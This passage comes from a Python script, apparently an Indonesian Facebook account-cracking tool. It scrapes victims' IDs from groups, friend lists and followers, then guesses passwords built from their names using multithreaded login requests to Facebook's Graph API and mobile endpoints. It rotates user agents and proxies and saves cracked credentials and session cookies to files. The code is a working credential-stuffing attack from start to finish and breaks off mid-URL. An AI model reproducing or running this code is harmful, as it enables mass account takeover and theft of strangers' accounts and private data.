  534.         print('\n╰─◕➤ Cokies Berada Dalam Mode Free');exit()
  535.     if str(judul) == 'Epsilon':
  536.         print('\n╰─◕➤ Cokies Tidak Dpt Mengakses Grup');exit()
  537.     if str(judul) == 'Kesalahan':
  538.         print('\n╰─◕➤ Cokies Yg Anda Masukan Salah');exit()
  539.     if str(judul) == 'Masuk Facebook' or str(judul) == 'Masuk Facebook | Facebook' or str(judul) == 'Masuk ke Facebook' or str(judul) == 'Log in to Facebook':
  540.         print('\n╰─◕➤ Cokies Mokad');exit()
  541.     else:
  542.         for isi in data.find_all("h3"):
  543.             for ids in isi.find_all("a",href=True):
  544.                 if "profile.php" in ids.get("href"):uid = ids.get("href").split("=")[1].replace("&eav","");nama = ids.text
  545.                 else:
  546.                     if ids.text==judul:pass
  547.                     else:uid = ids.get("href").split("/")[1].split("?")[0];nama = ids.text
  548.                 if uid+"|"+nama in id:pass
  549.                 else:id.append(uid+"|"+nama)
  550.                 print('\r╰─◕➤ Mengumpulkan %s Id'%(len(id)),end='')
  551.         for x in data.find_all("a",href=True):
  552.             if "Lihat Postingan Lainnya" in x.text:
  553.                 kocak("https://mbasic.facebook.com"+x.get("href"),cokies)
  554.                        
  555. #-----------------[ CRACK PUBLICK ]-----------------#
  556. def publick():
  557.     try:
  558.         token = open('.token.txt','r').read()
  559.         kukis = open('.cok.txt','r').read()
  560.     except IOError:
  561.         exit()
  562.     cetak(panel('\t[bold white]Ketik [bold green]Me[/] Jika Ingin Crack Pertemanan Sendiri',width=90,style='bold white'))
  563.     pil = input(f'├╴➤ Masukan ID Target : ')
  564.     try:
  565.         koH = requests.get('https://graph.facebook.com/v1.0/'+pil+'?fields=friends.limit(5000)&access_token='+tokenku[0],cookies={'cookie': kukis}).json()
  566.         for pi in koH['friends']['data']:
  567.             try:id.append(pi['id']+'|'+pi['name'])
  568.             except:continue
  569.         print(f'╰─◕➤ Total ID Yang Terkumpul : {h}'+str(len(id)))
  570.         setting()
  571.     except requests.exceptions.ConnectionError:
  572.         print('╰─◕➤ Internet Lu Gak Ada Anjing')
  573.         exit()
  574.     except (KeyError,IOError):
  575.         print('╰─◕➤ Pertemanan Tidak Publick Atau Cookie And Token Anda Busuk')
  576.         exit()
  577.        
  578. #-----------------[ CRACK FOLLOWERS ]-----------------#
  579. def followers():
  580.     try:
  581.         token = open('.token.txt','r').read()
  582.         cookie = open('.cok.txt','r').read()
  583.     except IOError:
  584.         print('╰─◕➤ Cookies Kadaluarsa ')
  585.         time.sleep(5)
  586.         login()
  587.     ses = requests.Session()
  588.     cetak(panel(f"Ketik 'Me' Jika Ingin Crack Dari Total Followers Anda Sendiri",width=70,padding=(0,1),style=f"bold white"))
  589.     user = input(f"├╴➤ Masukan Id : ")
  590.     if user.isdigit():
  591.         url = (f"https://mbasic.facebook.com/profile.php?id={user}&v=followers")
  592.     else:
  593.         url = (f"https://mbasic.facebook.com/{user}?v=followers")
  594.     try:
  595.         link = ses.get(url, cookies={"cookie": cookie}).text
  596.         if "Halaman Tidak Ditemukan" in link:
  597.             print("\n╰─◕➤ Pengguna Dengan User Id {user} Tidak Ditemukan")
  598.             time.sleep(2);exit()
  599.         elif "Anda Diblokir Sementara" in link:
  600.             print("\n╰─◕➤ Akun Anda Di Batasin Sementara")
  601.             time.sleep(2);exit()
  602.         elif "Konten Tidak Ditemukan" in link:
  603.             print("\n╰─◕➤ Pengguna Dengan User Id {user} Tidak Ditemukan")
  604.             time.sleep(2);exit()
  605.         else:
  606.             dump_followers(url, cookie)
  607.     except (requests.exceptions.ConnectionError,requests.exceptions.ChunkedEncodingError,requests.exceptions.ReadTimeout) as e:
  608.         print("╰─◕➤ Tidak Ada Koneksi Internet, Periksa Kembali Koneksi Anda")
  609.         time.sleep(3);exit()
  610.     setting()
  611.  
  612.  
  613. def dump_followers(link, cookie):
  614.     try:
  615.         url = ses.get(link, cookies={"cookie": cookie}).text
  616.         data = re.findall('" \/>\<div\ class\=\"..\"\>\<a\ href\=\"\/(.*?)\"\><span\>(.*?)\<\/span\>', str(url))
  617.         for user in data:
  618.             if "profile.php?" in user[0]:
  619.                 id.append(re.findall("id=(.*?)&amp;eav", user[0])[0]+'|'+user[1])
  620.             else:
  621.                 id.append(re.findall("(.*?)\?eav", user[0])[0]+'|'+user[1])
  622.             Console().print(f"├╴➤ Sedang Mengumpulkan {str(len(id))} Id...", end='\r')
  623.             time.sleep(000000.003)
  624.         if "Lihat Selengkapnya" in url:
  625.             dump_followers("https://mbasic.facebook.com"+parser(url, "html.parser").find("a", string="Lihat Selengkapnya").get("href"), cookie)
  626.     except:pass
  627.        
  628. #----------------------[ CRACK FILE ]----------------------#
  629. def file():
  630.     try:vin = os.listdir('/sdcard/DUMP-FILE/')
  631.     except FileNotFoundError:
  632.         print(f'{m}╰─◕➤ File Tidak Ditemukan ')
  633.         time.sleep(2)
  634.         exit()
  635.     if len(vin)==0:
  636.         print(f'{m}╰─◕➤ Kamu Tidak Memiliki File Dump ')
  637.         time.sleep(2)
  638.         exit()
  639.     else:
  640.         cih = 0
  641.         lol = {}
  642.         for isi in vin:
  643.             try:hem = open('/sdcard/SPOKY-DUMP/'+isi,'r').readlines()
  644.             except:continue
  645.             cih+=1
  646.             if cih<100:
  647.                 nom = ''+str(cih)
  648.                 lol.update({str(cih):str(isi)})
  649.                 lol.update({nom:str(isi)})
  650.                 print('╭────────────────────────────╮')
  651.                 print(f'{P}├╴➤ 0%s %s ({h} %s idz )'%(nom,isi,len(hem)))
  652.                 print('╰────────────────────────────╯')
  653.             else:
  654.                 lol.update({str(cih):str(isi)})
  655.                 print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  656.                 print(f'{P}╰─◕➤ %s. %s ({h} %s idz) '%(cih,isi,len(hem)))
  657.     dm = input(f'{P}╰─◕➤ PILIH : ')
  658.     try:geh = lol[dm]
  659.     except KeyError:
  660.         print(f'{m}╰─◕➤ Pilih Yang Bener Kontol ')
  661.         time.sleep(3)
  662.         exit()
  663.     try:lin = open('/sdcard/SPOKY-DUMP/'+geh,'r').read().splitlines()
  664.     except:
  665.         print(f'{m}╰─◕➤ File Tidak Ditemukan, Coba Lagi Nanti ')
  666.         time.sleep(2)
  667.         exit()
  668.     for xid in lin:
  669.         id.append(xid)
  670.     setting()
  671.    
  672. #-----------------[ CRACK MASSAL ]-----------------#
  673. def massal():
  674.     try:
  675.         token = open('.token.txt','r').read()
  676.         cok = open('.cok.txt','r').read()
  677.     except IOError:
  678.         exit()
  679.     try:
  680.         jum = int(input('├╴➤ BERAPA TARGET : '))
  681.     except ValueError:
  682.         print('╰─◕➤ Masukkan Angka Anjing, Malah Huruff 🗿')
  683.         exit()
  684.     if jum<1 or jum>100:
  685.         print('╰─◕➤ Gagal Dump Idz ')
  686.         exit()
  687.     ses=requests.Session()
  688.     yz = 0
  689.     for met in range(jum):
  690.         yz+=1
  691.         kl = input('├╴➤ MASUKAN IDZ YANG KE '+str(yz)+' : ')
  692.         uid.append(kl)
  693.     for userr in uid:
  694.         try:
  695.             col = ses.get('https://graph.facebook.com/v2.0/'+userr+'?fields=friends.limit(5000)&access_token='+tokenku[0], cookies = {'cookies':cok}).json()
  696.             for mi in col['friends']['data']:
  697.                 try:
  698.                     iso = (mi['id']+'|'+mi['name'])
  699.                     if iso in id:pass
  700.                     else:id.append(iso)
  701.                 except:continue
  702.         except (KeyError,IOError):
  703.             pass
  704.         except requests.exceptions.ConnectionError:
  705.             print('╰─◕➤ Sinyal Loh Kek Kontoll ')
  706.             exit()
  707.     try:
  708.         print('╭────────────────────────────╮')
  709.         print(f'├╴➤ TOTAL ID YANG TERKUMPUL │ : '+str(len(id)))
  710.         print('╰────────────────────────────╯')
  711.         setting()
  712.     except requests.exceptions.ConnectionError:
  713.         print(f'{x}')
  714.         print('╰─◕➤ Sinyal Lo kek Kontol ')
  715.         back()
  716.     except (KeyError,IOError):
  717.         print(f'╰─◕➤ {k} Pertemanan Tidak Public {x}')
  718.         time.sleep(3)
  719.         back()
  720.        
  721. #-------------[ PENGATURAN-IDZ ]---------------#
  722. def setting():
  723.     urut = []
  724.     urut.append(panel(f'[bold white][[bold cyan]01[/][bold white]][/] [bold white]Login Site [bold green]Mobile FB [bold white] [/]\n[bold white][[bold cyan]02[/][bold white]][/] [bold white]Login Site [bold green]D FB [bold white] [/]\n[bold white][[bold cyan]03[/][bold white]][/] [bold white]Login Site [bold green]Graph FB [bold white] ',width=35,title=f"[bold green] ••• METODE ••• ",style=f"bold purple"))
  725.     urut.append(panel(f'[bold white][[bold cyan]04[/][bold white]][/] [bold white]Login Site [bold green]Not Update [bold white] [/]\n[bold white][[bold cyan]05[/][bold white]][/] [bold white]Login Site [bold green]Not Update [bold white] [/]\n[bold white][[bold cyan]06[/][bold white]][/] [bold white]Login Site [bold green]Not Update[bold white] ',width=35,title=f"[bold green] ••• METODE ••• [bold white]",style=f"bold purple"))
  726.     console.print(Columns(urut))
  727.     print('╭───────────────────────────╮')
  728.     hc = input(f'├╴➤ PILIH METODE : ')
  729.     print('╰───────────────────────────╯')
  730.     if hc in ['1','01']:
  731.         method.append('mobile')
  732.     elif hc in ['2','02']:
  733.         method.append('mbasic')
  734.     elif hc in ['3','03']:
  735.         method.append('free')
  736.     else:
  737.         method.append('mobile')
  738.        
  739.     cetak(panel(f'[bold white][[bold cyan]01[/][bold white]][/] [bold white]Crack Idz Old [/]\n[bold white][[bold cyan]02[/][bold white]][/] [bold white]Crack Idz New [/]\n[bold white][[bold cyan]03[/][bold white]][/] [bold white]Crack Idz Random[/]',width=35,padding=(0,1),title=f"[bold green] ••• MENU IDZ ••• ",style=f"bold purple"))
  740.     print('╭───────────────────────────╮')
  741.     hu = input(f'├╴➤ PILIH IDZ : ')
  742.     print('╰───────────────────────────╯')
  743.     if hu in ['1','01']:
  744.         for tua in sorted(id):
  745.             id2.append(tua)
  746.  
  747.     elif hu in ['2','02']:
  748.         muda=[]
  749.         for bacot in sorted(id):
  750.             muda.append(bacot)
  751.         bcm=len(muda)
  752.         bcmi=(bcm-1)
  753.         for xmud in range(bcm):
  754.             id2.append(muda[bcmi])
  755.             bcmi -=1
  756.     elif hu in ['3','03']:
  757.         for bacot in id:
  758.             xx = random.randint(0,len(id2))
  759.             id2.insert(xx,bacot)
  760.     else:
  761.         print(' [+] Pilih Yang Bener Kontooll ')
  762.         exit()
  763.                
  764.     cetak(panel(f'[bold white]Tampilkan APK Di Dalam Akun ? Y/T',width=40,title=f"[bold green] ••• CEK APK ••• ",style=f"bold purple"))
  765.     print('╭──────────────╮')
  766.     _brayen_ = input('├╴➤  PILIH : ')
  767.     print('╰──────────────╯')
  768.     if _brayen_ in ['']:
  769.         print('╰─◕➤ Pilih Yang Bener Kontol ')
  770.         exit()
  771.     elif _brayen_ in ['y','Y']:
  772.         taplikasi.append('ya')
  773.     else:
  774.         taplikasi.append('no')
  775.        
  776.     cetak(panel(f'[bold white]Tampilkan Opsi Di Dalam Akun ? Y/T',width=40,title=f"[bold green] ••• CEK OPSI ••• ",style=f"bold purple"))
  777.     print('╭──────────────╮')
  778.     _brayen_ = input('├╴➤ PILIH : ')
  779.     print('╰──────────────╯')
  780.     if _brayen_ in ['']:
  781.         print('╰─◕➤ Pilih Yang Bener Kontol ')
  782.         exit()
  783.     elif _brayen_ in ['y','Y']:
  784.         gabriel.append('ya')
  785.     else:
  786.         gabriel.append('no')
  787.    
  788.     cetak(panel(f'[bold white]Gunakan User Agent Manual ? Y/T',width=40,title=f"[bold green] ••• USER AGENT ••• ",style=f"bold purple"))
  789.     print('╭──────────────╮')
  790.     uatambah = input(f'├╴➤ PILIH : ')
  791.     print('╰──────────────╯')
  792.     if uatambah in ['y','Ya','ya','Y']:
  793.         ualuh.append('ya')
  794.         bzer = input(f'╰─◕➤ Masukan User-Agent : ')
  795.         ualu.append(bzer)
  796.     else:
  797.         ualuh.append('tidak')
  798.     passwrd()
  799. #-------------------[ BAGIAN-WORDLIST ]------------#
  800. def passwrd():
  801.     global prog,des
  802.     print('')
  803.     urut = []
  804.     urut.append(panel(f'        [bold green]%s [bold white]'%(okc),width=35,title=f"[bold green]OK SAVE IN",style=f"bold purple"))
  805.     urut.append(panel(f'         [bold red]%s [bold white]'%(cpc),width=35,title=f"[bold red]CP SAVE IN",style=f"bold purple"))
  806.     wa.print(Columns(urut))
  807.     cetak(nel(f'[bold white]ON/OFF MODE PESAWAT ✈️ SETIAP 300 IDZ,AGAR TERHINDAR DARI SPAM IP ',width=70,padding=(0,1),title=f"[bold red] ••• WARNING ••• ",style=f"bold purple"))
  808.     prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
  809.     des = prog.add_task('',total=len(id2))
  810.     with prog:
  811.         with tred(max_workers=30) as pool:
  812.             for yuzong in id2:
  813.                 idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
  814.                 frs = nmf.split(" ")[0]
  815.                 pwv = []
  816.                 if len(nmf)<6:
  817.                     if len(frs)<3:
  818.                         pass
  819.                     else:
  820.                         pwv.append(frs+'123')
  821.                         pwv.append(frs+'1234')
  822.                         pwv.append(frs+'12345')
  823.                 else:
  824.                     if len(frs)<3:
  825.                         pwv.append(nmf)
  826.                     else:
  827.                         pwv.append(nmf)
  828.                         pwv.append(frs+'123')
  829.                         pwv.append(frs+'1234')
  830.                         pwv.append(frs+'12345')
  831.                 if 'ya' in pwpluss:
  832.                     for xpwd in pwnya:
  833.                         pwv.append(xpwd)
  834.                 else:pass
  835.                 if 'mobile' in method:
  836.                     pool.submit(crackmobile,idf,pwv)
  837.                 elif 'mbasic' in method:
  838.                     pool.submit(crackmbasic,idf,pwv)
  839.                 elif 'free' in method:
  840.                     pool.submit(crackapi,idf,pwv)
  841.                 else:
  842.                     pool.submit(crackmobile,idf,pwv)
  843.     print('')
  844.     print(f'Crack Telah Selesai,Semoga Anda Bersyukur Dengan Hasil Nya')
  845.     print(f'  [+] OK : {H}{ok} ')
  846.     print(f'  [+] CP : {K}{cp} ')
  847.    
  848. #--------------------[ METODE API]-----------------#
  849. def crackapi(idf,pwv):
  850.     global loop,ok,cp
  851.     bo = random.choice([m,k,h,b,u,x])
  852.     prog.update(des,description=f"{h}SPOKY XD 🤖 {x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold red]{cp}[/]")
  853.     prog.advance(des)
  854.     ua2 = random.choice(ugen2)
  855.     ua = random.choice(ugen)
  856.     ses = requests.Session()
  857.     for pw in pwv:
  858.         try:
  859.             nip=random.choice(prox)
  860.             proxs= {'http': 'socks5://'+nip}
  861.             params = {
  862.                 "access_token": "200424423651082|2a9918c6bcd75b94cefcbb5635c6ad16",
  863.                 "sdk_version": {random.randint(1,26)},
  864.                 "email": idf,
  865.                 "locale": "en_US",
  866.                 "password": pw,
  867.                 "sdk": "android",
  868.                 "generate_session_cookies": "1",
  869.                 "sig": "4f648f21fb58fcd2aa1c65f35f441ef5"
  870.             }
  871.             headers = {
  872.                 "Host": "graph.facebook.com",
  873.                 "x-fb-connection-bandwidth": str(random.randint(20000000, 30000000)),
  874.                 "x-fb-sim-hni": str(random.randint(20000, 40000)),
  875.                 "x-fb-net-hni": str(random.randint(20000, 40000)),
  876.                 "x-fb-connection-quality": "EXCELLENT",
  877.                 "user-agent": ua,
  878.                 "content-type": "application/x-www-form-urlencoded",
  879.                 "x-fb-http-engine": "Liger"
  880.             }
  881.             post = ses.post("https://graph.facebook.com/auth/login",params=params, headers=headers, allow_redirects=False)
  882.             if "User must verify their account" in post.text:
  883.                 print('╭────────────────────────────╮')
  884.                 if 'no' in gabriel:
  885.                     cp+=1
  886.                     tree = Tree(f"[bold red] CECKPOINT 🥴 ")
  887.                     tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] ID : [bold red]{idf} [bold purple][[bold red]•[bold purple]][bold purple] PASSWORD : [bold red]{pw}")
  888.                     tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] TAHUN : [bold red]{cektahun(idf)}")
  889.                     tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] TEMAN : [bold red]+")
  890.                     tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] POST  : [bold red]+ ")
  891.                     tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] UGENT : [bold red]{ua}")
  892.                     print('╰────────────────────────────╯')
  893.                     cetak(tree)
  894.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  895.                     akun.append(idf+'|'+pw)
  896.                     break
  897.                 elif 'ya' in gabriel:
  898.                     cp+=1
  899.                     tree = Tree(f"[bold red] CECKPOINT 🥴 ")
  900.                     tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] ID : [bold red]{idf} [bold purple][[bold red]•[bold purple]][bold purple] PASSWORD : [bold red]{pw}")
  901.                     tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] TAHUN : [bold red]{cektahun(idf)}")
  902.                     tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] TEMAN : [bold red]+")
  903.                     tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] POST  : [bold red]+ ")
  904.                     tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] UGENT : [bold red]{ua}")
  905.                     cetak(tree)
  906.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  907.                     akun.append(idf+'|'+pw)
  908.                     ceker(idf,pw)
  909.                     break
  910.             elif "session_key" in post.text and "EAA" in post.text:
  911.                 if 'no' in taplikasi:
  912.                     ok+=1
  913.                     coki=po.cookies.get_dict()
  914.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  915.                     print('╭────────────────────────────╮')
  916.                     tree = Tree(f"[bold green] SUCKSES 🧐 ")
  917.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] ID : [bold green]{idf} [bold purple][[bold green]•[bold purple]] [bold purple] PASSWORD : [bold green]{pw}")
  918.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] TAHUN : [bold green]{cektahun(idf)}")
  919.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] TEMAN : [bold green]+")
  920.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] POST  : [bold green]+")
  921.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] COOKIES : [bold green]{kuki}")
  922.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] UGENT : [bold green]{ua}")
  923.                     print('╰────────────────────────────╯')
  924.                     cetak(tree)  
  925.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  926.                     break
  927.                 elif 'ya' in taplikasi:
  928.                     ok+=1
  929.                     coki=po.cookies.get_dict()
  930.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  931.                     print('╭────────────────────────────╮')
  932.                     tree = Tree(f"[bold green] SUCKSES 🧐 ")
  933.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] ID : [bold green]{idf} [bold purple][[bold green]•[bold purple]] [bold purple] PASSWORD : [bold green]{pw}")
  934.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] TAHUN : [bold green]{cektahun(idf)}")
  935.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] TEMAN : [bold green]+")
  936.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] POST  : [bold green]+")
  937.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] COOKIES : [bold green]{kuki}")
  938.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] UGENT : [bold green]{ua}")
  939.                     print('╰────────────────────────────╯')
  940.                     cetak(tree)
  941.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  942.                     cek_apk(kuki)
  943.                     break      
  944.                
  945.             else:
  946.                 continue
  947.         except requests.exceptions.ConnectionError:
  948.             time.sleep(31)
  949.     loop+=1
  950.        
  951. #--------------------[ METODE MBASIC]-----------------#
  952. def crackmbasic(idf,pwv):
  953.     global loop,ok,cp
  954.     bo = random.choice([m,k,h,b,u,x])
  955.     ua = random.choice(ugen)
  956.     ua2 = random.choice(ugen2)
  957.     ses = requests.Session()
  958.     prog.update(des,description=f"{h}SPOKY XD 🤖 {x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold red]{cp}[/]")
  959.     prog.advance(des)
  960.     for pw in pwv:
  961.         try:
  962.             if 'ya' in ualuh: ua = ualu[0]
  963.             nip=random.choice(prox)
  964.             proxs= {'http': 'socks5://'+nip}
  965.             link = ses.get('https://m.facebook.com/login.php?skip_api_login=1&api_key=345000986033587&kid_directed_site=0&app_id=345000986033587&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv12.0%2Fdialog%2Foauth%3Fcct_prefetching%3D0%26client_id%3D345000986033587%26cbt%3D1679190355185%26e2e%3D%257B%2522init%2522%253A1679190355186%257D%26ies%3D0%26sdk%3Dandroid-12.2.0%26sso%3Dchrome_custom_tab%26nonce%3D36eab410-3bf2-4a18-92b6-8899482bce03%26scope%3Dopenid%252Cpublic_profile%252Cuser_gender%252Cuser_friends%26state%3D%257B%25220_auth_logger_id%2522%253A%25228fabc5ff-90e2-4258-a451-a1f4a796c348%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%25229v54bbhoj58tns0r4tjn%2522%257D%26default_audience%3Dfriends%26login_behavior%3DNATIVE_WITH_FALLBACK%26redirect_uri%3Dfb345000986033587%253A%252F%252Fauthorize%252F%26auth_type%3Drerequest%26response_type%3Did_token%252Ctoken%252Csigned_request%252Cgraph_domain%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D8fabc5ff-90e2-4258-a451-a1f4a796c348%26tp%3Dunspecified&cancel_url=fb345000986033587%3A%2F%2Fauthorize%2F%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%25228fabc5ff-90e2-4258-a451-a1f4a796c348%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%25229v54bbhoj58tns0r4tjn%2522%257D%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
  966.             data = {
  967. 'lsd': re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  968. 'jazoest': re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),
  969. 'm_ts': re.search('name="m_ts" value="(.*?)"',str(link.text)).group(1),
  970. 'li': re.search('name="li" value="(.*?)"',str(link.text)).group(1),
  971. 'try_number': 0,
  972. 'unrecognized_tries': 0,
  973. 'email':idf,
  974. 'pass':pw,
  975. 'login':'Masuk',
  976. 'prefill_contact_point': '',
  977. 'prefill_source': '',
  978. 'prefill_type': '',
  979. 'first_prefill_source': '',
  980. 'first_prefill_type': '',
  981. 'had_cp_prefilled': False,
  982. 'had_password_prefilled': False,
  983. 'is_smart_lock': False,
  984. 'bi_xrwh': 0
  985. }
  986.             headers = {'Host': 'm.facebook.com','x-fb-rlafr': '0','access-control-allow-origin': '*','facebook-api-version': 'v12.0','strict-transport-security': 'max-age=15552000; preload','pragma': 'no-cache','cache-control': 'private, no-cache, no-store, must-revalidate','x-fb-request-id': 'A3PUDZnzy2xgkMAkH9bcVof','x-fb-trace-id': 'Cx4jrkJJire','x-fb-rev': '1007127514','x-fb-debug': 'AXRLN2ab6tbNBxFWS6kiERe8mEyeHkpYgc1xM77joSCak8hY1B2+tWfeptUXVmRpMqno2j95r13+cw0bLoOi4A==','content-length': '2141','cache-control': 'max-age=0','sec-ch-ua': '"Chromium";v="107", "Not=A?Brand";v="24"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','save-data': 'on','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'navigate','sec-fetch-user': '?1','sec-fetch-dest': 'document','referer': 'https://m.facebook.com/login.php?skip_api_login=1&api_key=345000986033587&kid_directed_site=0&app_id=345000986033587&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv12.0%2Fdialog%2Foauth%3Fcct_prefetching%3D0%26client_id%3D345000986033587%26cbt%3D1679190355185%26e2e%3D%257B%2522init%2522%253A1679190355186%257D%26ies%3D0%26sdk%3Dandroid-12.2.0%26sso%3Dchrome_custom_tab%26nonce%3D36eab410-3bf2-4a18-92b6-8899482bce03%26scope%3Dopenid%252Cpublic_profile%252Cuser_gender%252Cuser_friends%26state%3D%257B%25220_auth_logger_id%2522%253A%25228fabc5ff-90e2-4258-a451-a1f4a796c348%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%25229v54bbhoj58tns0r4tjn%2522%257D%26default_audience%3Dfriends%26login_behavior%3DNATIVE_WITH_FALLBACK%26redirect_uri%3Dfb345000986033587%253A%252F%252Fauthorize%252F%26auth_type%3Drerequest%26response_type%3Did_token%252Ctoken%252Csigned_request%252Cgraph_domain%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D8fabc5ff-90e2-4258-a451-a1f4a796c348%26tp%3Dunspecified&cancel_url=fb345000986033587%3A%2F%2Fauthorize%2F%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%25228fabc5ff-90e2-4258-a451-a1f4a796c348%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%25229v54bbhoj58tns0r4tjn%2522%257D%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate','accept-language': 'id-ID,id;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6'}
  987.             link = random.choice(["https://m.facebook.com/login/device-based/regular/login/?api_key=140810032656374&auth_token=63ed3e768f0e783f4cc81a6b1026c500&skip_api_login=1&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv14.0%2Fdialog%2Foauth%3Fclient_id%3D140810032656374%26redirect_uri%3Dhttps%253A%252F%252Faccounts.pixiv.net%252Fpigya%252Fproxy%252Fcallback%252Ffacebook%26response_type%3Dcode%26scope%3Demail%26state%3DGeDYUodE_pVN5pDXKBbhaF12RvXSU-30ikz4dZVHI8w%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Dd3e7e4df-8e7b-42c9-81a7-ee0e2abb19c9%26tp%3Dunspecified&refsrc=deprecated&app_id=140810032656374&cancel=https%3A%2F%2Faccounts.pixiv.net%2Fpigya%2Fproxy%2Fcallback%2Ffacebook%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DGeDYUodE_pVN5pDXKBbhaF12RvXSU-30ikz4dZVHI8w%23_%3D_&lwv=100&locale2=id_ID&refid=9","https://m.facebook.com/login/device-based/regular/login/?api_key=213560439114&auth_token=7ade521eceaab1458866d9821149d64f&skip_api_login=1&signed_next=1&next=https%3A%2F%2Fmobile.facebook.com%2Fv2.9%2Fdialog%2Foauth%3Fapp_id%3D213560439114%26cbt%3D1677182177996%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df11da1fc663793c%2526domain%253Dwww.starmakerstudios.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Fwww.starmakerstudios.com%25252Ff1245028efb5658%2526relation%253Dopener%26client_id%3D213560439114%26display%3Dtouch%26domain%3Dwww.starmakerstudios.com%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Fwww.starmakerstudios.com%252Flogin%252Fpage%253Freturn_url%253D%252Finstrumental%252Fupload%26locale%3Dzh_CN%26logger_id%3Df2bda15588a0498%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df1931b4149a3a44%2526domain%253Dwww.starmakerstudios.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Fwww.starmakerstudios.com%25252Ff1245028efb5658%2526relation%253Dopener%2526frame%253Df3f39a10ef963dc%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26scope%3Demail%26sdk%3Djoey%26version%3Dv2.9%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&refsrc=deprecated&app_id=213560439114&cancel=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df1931b4149a3a44%26domain%3Dwww.starmakerstudios.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Fwww.starmakerstudios.com%252Ff1245028efb5658%26relation%3Dopener%26frame%3Df3f39a10ef963dc%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&lwv=100&locale2=id_ID&refid=9","https://m.facebook.com/login/device-based/regular/login/?api_key=213560439114&auth_token=5f8c7178a13395b4cd272a3e1897de8b&skip_api_login=1&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv14.0%2Fdialog%2Foauth%3Fcct_prefetching%3D0%26client_id%3D213560439114%26cb